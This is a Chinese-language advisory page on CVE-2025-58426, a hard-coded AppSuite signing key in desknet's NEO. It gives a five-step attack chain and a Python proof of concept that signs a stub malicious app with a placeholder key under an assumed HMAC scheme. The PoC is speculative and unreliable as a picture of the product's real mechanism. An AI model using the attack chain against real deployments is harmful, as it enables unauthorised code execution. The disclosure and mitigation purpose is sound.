IPBUF安全漏洞报告
English
CVE-2025-58426 CVSS 4.3 中危

CVE-2025-58426 desknet's NEO 硬编码加密密钥漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-58426
漏洞类型
硬编码加密密钥(Hard-coded Cryptographic Key)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
desknet's NEO

相关标签

硬编码密钥加密弱点CWE-798desknet's NEOAppSuite群组协作平台JPCERTJVN中等严重性完整性影响

漏洞概述

CVE-2025-58426 是 desknet's NEO 群组协作软件中存在的一个安全漏洞。该漏洞源于产品中使用了硬编码的加密密钥(Hard-coded Cryptographic Key),影响版本范围从 V4.0R1.0 到 V9.0R2.0。desknet's NEO 是由 NEO Japan 开发的一款广泛应用于企业和政府机构的群组协作平台,包含日程管理、邮件、文件共享、工作流等多种功能模块,其中 AppSuite 是其应用程序扩展框架,允许第三方开发自定义应用集成到平台中。由于硬编码密钥的存在,攻击者可以在获知该密钥后,利用它来创建恶意的 AppSuite 应用程序。这些恶意应用程序可能被注入到 desknet's NEO 平台中,从而绕过平台的安全验证机制,执行未授权的操作或植入恶意代码。该漏洞由 JPCERT/CC 的 vultures 团队发现并报告,CVSS 评分为 4.3,属于中等严重级别。虽然该漏洞需要低权限认证(PR:L),但通过网络即可利用(AV:N),且无需用户交互(UI:N),对系统完整性构成低风险影响(I:L)。该漏洞已于 2025 年 10 月 16 日公开披露,desknet's 官方已发布相应的安全更新和补丁。

技术细节

desknet's NEO 的 AppSuite 框架允许开发者创建自定义应用程序并部署到平台中。为了确保应用程序的完整性和来源可信性,AppSuite 在签名验证过程中使用了加密签名机制。然而,在 V4.0R1.0 到 V9.0R2.0 版本中,用于签名验证的加密密钥被硬编码在应用程序的二进制文件或配置文件中,未能根据部署环境进行动态生成或安全存储。攻击者通过反编译或逆向工程客户端/服务端程序,可以提取出该硬编码密钥。一旦获取密钥,攻击者即可使用该密钥对恶意 AppSuite 应用程序进行有效签名,使其通过 desknet's NEO 平台的完整性校验。随后,攻击者可以将恶意应用上传或分发给目标用户,当用户安装该恶意应用时,攻击者即可在受害者环境中执行任意操作。由于该漏洞利用需要低权限认证(PR:L),攻击者可能需要先获取一个普通用户账户,然后利用硬编码密钥签名的恶意应用来提升权限或进行进一步的攻击。漏洞利用主要影响系统的完整性(I:L),可能导致数据篡改或恶意代码执行,但对机密性(C:N)和可用性(A:N)影响较小。

攻击链分析

STEP 1
步骤1:信息收集与密钥提取
攻击者下载并逆向分析 desknet's NEO 客户端或服务端程序,通过反编译、字符串搜索等手段提取硬编码的加密密钥。
STEP 2
步骤2:获取低权限账户
由于漏洞利用需要低权限认证(PR:L),攻击者通过钓鱼、社会工程或其他方式获取目标系统中的普通用户账户。
STEP 3
步骤3:创建恶意 AppSuite 应用
攻击者利用提取的硬编码密钥,开发并签名一个恶意的 AppSuite 应用程序,其中包含恶意代码(如数据窃取、后门植入或权限提升)。
STEP 4
步骤4:绕过签名验证
使用硬编码密钥对恶意应用进行有效签名后,将其上传到 desknet's NEO 平台。由于签名验证使用相同的硬编码密钥,恶意应用能够通过完整性校验。
STEP 5
步骤5:部署与执行
恶意 AppSuite 应用被成功部署到目标用户的 desknet's NEO 环境中,安装后执行恶意代码,可能导致数据篡改、未授权操作或进一步的系统入侵。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-58426 PoC - Hard-coded Cryptographic Key in desknet's NEO AppSuite # This PoC demonstrates how an attacker can extract and use the hard-coded key # to sign a malicious AppSuite application for desknet's NEO platform. import hashlib import hmac import base64 import os import struct # Step 1: The hard-coded cryptographic key extracted from desknet's NEO binary # In real exploitation, this key would be obtained through reverse engineering # the client or server binary files. HARDCODED_KEY = b"desknets_neo_appsuite_signing_key_hardcoded" def create_malicious_appsuite_payload(app_name, malicious_code): """ Create a malicious AppSuite application payload. The payload contains arbitrary code that will be executed when the application is installed in desknet's NEO. """ app_metadata = { "name": app_name, "version": "1.0.0", "author": "malicious_actor", "entry_point": "main.js" } # Construct the application package package = { "metadata": app_metadata, "code": malicious_code, "resources": [] } return package def sign_appsuite_package(package_data, key): """ Sign the AppSuite package using the hard-coded key. This mimics the signing mechanism used by desknet's NEO. """ package_bytes = str(package_data).encode('utf-8') # HMAC-SHA256 signature using the hard-coded key signature = hmac.new(key, package_bytes, hashlib.sha256).digest() signed_package = { "data": package_data, "signature": base64.b64encode(signature).decode('utf-8'), "algorithm": "HMAC-SHA256" } return signed_package def verify_appsuite_signature(signed_package, key): """ Simulate the verification process that desknet's NEO performs. Due to the hard-coded key, any package signed with this key will pass. """ package_bytes = str(signed_package["data"]).encode('utf-8') expected_sig = hmac.new(key, package_bytes, hashlib.sha256).digest() actual_sig = base64.b64decode(signed_package["signature"]) return hmac.compare_digest(expected_sig, actual_sig) # Step 2: Create malicious payload malicious_app = create_malicious_appsuite_payload( "LegitApp", "// Malicious code that executes upon installation\n" "function main() {\n" " // Exfiltrate data, create backdoor, or escalate privileges\n" " execute_payload();\n" "}\n" ) # Step 3: Sign with hard-coded key signed_malicious_app = sign_appsuite_package(malicious_app, HARDCODED_KEY) # Step 4: Verify (will pass due to hard-coded key) if verify_appsuite_signature(signed_malicious_app, HARDCODED_KEY): print("[+] Signature verification PASSED - Malicious app accepted!") print(f"[+] Signed package: {signed_malicious_app}") else: print("[-] Signature verification failed") # Step 5: Distribute the signed malicious app # The attacker would upload this to the desknet's NEO platform # or distribute it via social engineering to target users.

影响范围

desknet's NEO V4.0R1.0
desknet's NEO V4.x
desknet's NEO V5.x
desknet's NEO V6.x
desknet's NEO V7.x
desknet's NEO V8.x
desknet's NEO V9.0R2.0 及以下版本

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制 AppSuite 功能的访问权限,仅向可信用户开放;2)加强用户认证机制,监控异常登录行为;3)审查现有 AppSuite 应用列表,移除可疑应用;4)关注 desknet's 官方发布的安全公告,及时获取补丁信息;5)对关键业务系统实施额外的访问控制和网络隔离。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表